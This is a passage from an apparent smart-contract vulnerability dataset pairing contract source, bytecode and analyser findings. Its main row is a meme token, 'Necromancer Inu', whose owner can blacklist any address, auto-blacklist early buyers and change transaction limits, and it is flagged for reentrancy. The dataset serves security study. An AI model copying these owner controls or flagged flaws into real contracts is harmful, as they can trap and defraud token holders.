ffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361179a565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148061148f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b6114e4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611c216026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561156a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611c906025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156115f0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611bba6023913960400191505060405180910390fd5b61165c84604051806060016040528060268152602001611c2160269139600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116f184600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae790919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b505050505050565b6000838311158290611850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118155780820151818401526020810190506117fa565b50505050905090810190601f1680156118425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b61186b610a58565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461192d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611c6f6021913960400191505060405180910390fd5b611a1f81604051806060016040528060228152602001611bdd60229139600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117a39092919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a7781600654611b6f90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600080828401905083811015611b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000611bb183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117a3565b90509291505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212208a074667d84fd84b25f415249788f213bdbacf2fe172d691343d80d1eefef99564736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-state", "impact": "High", "confidence": "High"}]}} | 9,990 |
0xF1B4644bCf07B9F74654305dB87469F4C0b375f6 | /*
Meme Necromancy While U Wait - Elon Musk
Join our community -> https://t.me/necromancerinu
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Necromancer is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Necromancer Inu";
string private constant _symbol = "NECRO";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
if (block.number <= launchBlock + 1) {
if (from != uniswapV2Pair && from != address(uniswapV2Router)) {
bots[from] = true;
} else if (to != uniswapV2Pair && to != address(uniswapV2Router)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 3000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
| 0x60806040526004361061012e5760003560e01c80638da5cb5b116100ab578063c9567bf91161006f578063c9567bf91461034c578063cba0e99614610361578063d00efb2f1461039a578063d543dbeb146103b0578063dd62ed3e146103d0578063e47d60601461041657600080fd5b80638da5cb5b146102a157806395d89b41146102c9578063a9059cbb146102f7578063b515566a14610317578063c3c8cd801461033757600080fd5b8063313ce567116100f2578063313ce5671461021b5780635932ead1146102375780636fc3eaec1461025757806370a082311461026c578063715018a61461028c57600080fd5b806306fdde031461013a578063095ea7b31461018457806318160ddd146101b457806323b872dd146101d9578063273123b7146101f957600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201909152600f81526e4e6563726f6d616e63657220496e7560881b60208201525b60405161017b9190611bcb565b60405180910390f35b34801561019057600080fd5b506101a461019f366004611a5c565b61044f565b604051901515815260200161017b565b3480156101c057600080fd5b50670de0b6b3a76400005b60405190815260200161017b565b3480156101e557600080fd5b506101a46101f4366004611a1c565b610466565b34801561020557600080fd5b506102196102143660046119ac565b6104cf565b005b34801561022757600080fd5b506040516009815260200161017b565b34801561024357600080fd5b50610219610252366004611b4e565b610523565b34801561026357600080fd5b5061021961056b565b34801561027857600080fd5b506101cb6102873660046119ac565b610598565b34801561029857600080fd5b506102196105ba565b3480156102ad57600080fd5b506000546040516001600160a01b03909116815260200161017b565b3480156102d557600080fd5b506040805180820190915260058152644e4543524f60d81b602082015261016e565b34801561030357600080fd5b506101a4610312366004611a5c565b61062e565b34801561032357600080fd5b50610219610332366004611a87565b61063b565b34801561034357600080fd5b506102196106df565b34801561035857600080fd5b50610219610715565b34801561036d57600080fd5b506101a461037c3660046119ac565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103a657600080fd5b506101cb60125481565b3480156103bc57600080fd5b506102196103cb366004611b86565b610ada565b3480156103dc57600080fd5b506101cb6103eb3660046119e4565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042257600080fd5b506101a46104313660046119ac565b6001600160a01b03166000908152600a602052604090205460ff1690565b600061045c338484610bac565b5060015b92915050565b6000610473848484610cd0565b6104c584336104c085604051806060016040528060288152602001611d9c602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111c0565b610bac565b5060019392505050565b6000546001600160a01b031633146105025760405162461bcd60e51b81526004016104f990611c1e565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b0316331461054d5760405162461bcd60e51b81526004016104f990611c1e565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461058b57600080fd5b47610595816111fa565b50565b6001600160a01b038116600090815260026020526040812054610460906112d1565b6000546001600160a01b031633146105e45760405162461bcd60e51b81526004016104f990611c1e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061045c338484610cd0565b6000546001600160a01b031633146106655760405162461bcd60e51b81526004016104f990611c1e565b60005b81518110156106db576001600a600084848151811061069757634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d381611d31565b915050610668565b5050565b600c546001600160a01b0316336001600160a01b0316146106ff57600080fd5b600061070a30610598565b905061059581611355565b6000546001600160a01b0316331461073f5760405162461bcd60e51b81526004016104f990611c1e565b601054600160a01b900460ff16156107995760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f9565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107d53082670de0b6b3a7640000610bac565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080e57600080fd5b505afa158015610822573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084691906119c8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088e57600080fd5b505afa1580156108a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108c691906119c8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090e57600080fd5b505af1158015610922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094691906119c8565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061097681610598565b60008061098b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109ee57600080fd5b505af1158015610a02573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a279190611b9e565b505060108054660aa87bee5380006011554360125563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aa257600080fd5b505af1158015610ab6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106db9190611b6a565b6000546001600160a01b03163314610b045760405162461bcd60e51b81526004016104f990611c1e565b60008111610b545760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016104f9565b610b716064610b6b670de0b6b3a7640000846114fa565b90611579565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c0e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f9565b6001600160a01b038216610c6f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d345760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f9565b6001600160a01b038216610d965760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f9565b60008111610df85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f9565b6000546001600160a01b03848116911614801590610e2457506000546001600160a01b03838116911614155b1561116357601054600160b81b900460ff1615610f0b576001600160a01b0383163014801590610e5d57506001600160a01b0382163014155b8015610e775750600f546001600160a01b03848116911614155b8015610e915750600f546001600160a01b03838116911614155b15610f0b57600f546001600160a01b0316336001600160a01b03161480610ecb57506010546001600160a01b0316336001600160a01b0316145b610f0b5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104f9565b601154811115610f1a57600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610f5c57506001600160a01b0382166000908152600a602052604090205460ff16155b8015610f785750336000908152600a602052604090205460ff16155b610f8157600080fd5b6010546001600160a01b038481169116148015610fac5750600f546001600160a01b03838116911614155b8015610fd157506001600160a01b03821660009081526005602052604090205460ff16155b8015610fe65750601054600160b81b900460ff165b15611034576001600160a01b0382166000908152600b6020526040902054421161100f57600080fd5b61101a42600f611cc3565b6001600160a01b0383166000908152600b60205260409020555b601254611042906001611cc3565b43116110f6576010546001600160a01b038481169116148015906110745750600f546001600160a01b03848116911614155b156110a1576001600160a01b0383166000908152600a60205260409020805460ff191660011790556110f6565b6010546001600160a01b038381169116148015906110cd5750600f546001600160a01b03838116911614155b156110f6576001600160a01b0382166000908152600a60205260409020805460ff191660011790555b600061110130610598565b601054909150600160a81b900460ff1615801561112c57506010546001600160a01b03858116911614155b80156111415750601054600160b01b900460ff165b156111615761114f81611355565b47801561115f5761115f476111fa565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111a557506001600160a01b03831660009081526005602052604090205460ff165b156111ae575060005b6111ba848484846115bb565b50505050565b600081848411156111e45760405162461bcd60e51b81526004016104f99190611bcb565b5060006111f18486611d1a565b95945050505050565b600c546001600160a01b03166108fc611219600a610b6b8560046114fa565b6040518115909202916000818181858888f19350505050158015611241573d6000803e3d6000fd5b50600d546001600160a01b03166108fc611261600a610b6b8560046114fa565b6040518115909202916000818181858888f19350505050158015611289573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6112a9600a610b6b8560026114fa565b6040518115909202916000818181858888f193505050501580156106db573d6000803e3d6000fd5b60006006548211156113385760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f9565b60006113426115e7565b905061134e8382611579565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113ab57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113ff57600080fd5b505afa158015611413573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143791906119c8565b8160018151811061145857634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f5461147e9130911684610bac565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906114b7908590600090869030904290600401611c53565b600060405180830381600087803b1580156114d157600080fd5b505af11580156114e5573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261150957506000610460565b60006115158385611cfb565b9050826115228583611cdb565b1461134e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f9565b600061134e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061160a565b806115c8576115c8611638565b6115d384848461165b565b806111ba576111ba6002600855600a600955565b60008060006115f4611752565b90925090506116038282611579565b9250505090565b6000818361162b5760405162461bcd60e51b81526004016104f99190611bcb565b5060006111f18486611cdb565b6008541580156116485750600954155b1561164f57565b60006008819055600955565b60008060008060008061166d87611792565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061169f90876117ee565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546116ce9086611830565b6001600160a01b0389166000908152600260205260409020556116f08161188f565b6116fa84836118d9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161173f91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061176d8282611579565b82101561178957505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006117ae8a600854600f6118fd565b92509250925060006117be6115e7565b905060008060006117d18e87878761194c565b919e509c509a509598509396509194505050505091939550919395565b600061134e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111c0565b60008061183d8385611cc3565b90508381101561134e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f9565b60006118996115e7565b905060006118a783836114fa565b306000908152600260205260409020549091506118c49082611830565b30600090815260026020526040902055505050565b6006546118e690836117ee565b6006556007546118f69082611830565b6007555050565b60008080806119116064610b6b89896114fa565b905060006119246064610b6b8a896114fa565b9050600061193c826119368b866117ee565b906117ee565b9992985090965090945050505050565b600080808061195b88866114fa565b9050600061196988876114fa565b9050600061197788886114fa565b905060006119898261193686866117ee565b939b939a50919850919650505050505050565b80356119a781611d78565b919050565b6000602082840312156119bd578081fd5b813561134e81611d78565b6000602082840312156119d9578081fd5b815161134e81611d78565b600080604083850312156119f6578081fd5b8235611a0181611d78565b91506020830135611a1181611d78565b809150509250929050565b600080600060608486031215611a30578081fd5b8335611a3b81611d78565b92506020840135611a4b81611d78565b929592945050506040919091013590565b60008060408385031215611a6e578182fd5b8235611a7981611d78565b946020939093013593505050565b60006020808385031215611a99578182fd5b823567ffffffffffffffff80821115611ab0578384fd5b818501915085601f830112611ac3578384fd5b813581811115611ad557611ad5611d62565b8060051b604051601f19603f83011681018181108582111715611afa57611afa611d62565b604052828152858101935084860182860187018a1015611b18578788fd5b8795505b83861015611b4157611b2d8161199c565b855260019590950194938601938601611b1c565b5098975050505050505050565b600060208284031215611b5f578081fd5b813561134e81611d8d565b600060208284031215611b7b578081fd5b815161134e81611d8d565b600060208284031215611b97578081fd5b5035919050565b600080600060608486031215611bb2578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611bf757858101830151858201604001528201611bdb565b81811115611c085783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ca25784516001600160a01b031683529383019391830191600101611c7d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cd657611cd6611d4c565b500190565b600082611cf657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d1557611d15611d4c565b500290565b600082821015611d2c57611d2c611d4c565b500390565b6000600019821415611d4557611d45611d4c565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461059557600080fd5b801515811461059557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220df1aaf12b47460cc38cccc5fb9e39e30e8d548b839fe3ca879c585c2df3a4ac464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": 